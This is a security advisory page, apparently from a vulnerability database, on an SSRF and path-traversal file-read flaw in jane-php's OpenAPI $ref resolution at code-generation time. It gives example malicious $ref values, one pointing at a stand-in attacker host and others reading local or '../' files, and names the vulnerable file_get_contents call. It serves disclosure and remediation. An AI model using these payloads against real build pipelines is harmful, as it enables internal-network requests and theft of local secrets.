High

Jane: $ref resolution performs SSRF + LFI (path traversal) at code-generation time (jane-php)

  • Disclosed: 20.11.2026
  • Updated: 22.11.2026 10:00

Summary

jane-php resolves external $ref targets at code-generation time via file_get_contents($ref) (jane-php/json-schema-runtime/Reference.php::doResolve) with no scheme/path restriction. An attacker-controlled OpenAPI document can therefore cause: $ref: 'http://attacker/x' -> SSRF (HTTP GET at gen time; response inlined = RFI); $ref: '/abs/file' -> LFI; $ref: '../secret.yaml' -> path-traversal LFI (CWE-22, arbitrary local JSON/YAML read). Verified 7.11.2/PHP8.1 (listener records the fetch; remote + ../ local content inlined into the generated code). file:// rejected. CWE-918/CWE-98/CWE-611/CWE-22.

Details

php
// Reference.php::doResolve()
$contents = file_get_contents($fragment); // $fragment = attacker-controlled $ref URI

Impact

Generating PHP with jane from an attacker-influenced OpenAPI document issues HTTP requests to attacker-chosen URLs (SSRF — internal services, cloud metadata) and reads arbitrary local files (LFI via ../), at build/CI time, inlining results into the output.

PoC

reproduce.sh (+ make_spec.py, gen.php): runs jane on a remote-$ref spec (local listener records the SSRF, output checked for the inlined response) and a ../-traversal local-$ref spec (output checked for the leaked file).

Suggested fix

Disable remote $ref fetching by default (or allow-list); confine local $ref to the spec directory (reject absolute paths and ..). Don't file_get_contents($ref) on attacker-controlled URIs.

maintainer-report.txt reproduce.sh gen.php make_spec.py

What to do

Upgrade jane-php/open-api-3 to version 7.12.0 or later.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package jane-php/open-api-3 < 7.12.0 7.12.0

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-22, CWE-611, CWE-918, CWE-98
Platform
Composer
Package
jane-php/open-api-3
Disclosed
20.11.2026
Updated
22.11.2026 10:00

Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.

OSV / GitHub Advisory Database - GHSA-c3cj-3p6p-j822 - CC BY 4.0

Vulnerability history: jane-php/open-api-3

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
4
First → latest
11.2026 11.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 3
  • High 1

Disclosures per year

  1. 2026: 4
  1. Jane: $ref resolution performs SSRF + LFI (path traversal) at code-generation time (jane-php) this entry
    High CVE-2026-63415 < 7.12.0 7.12.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.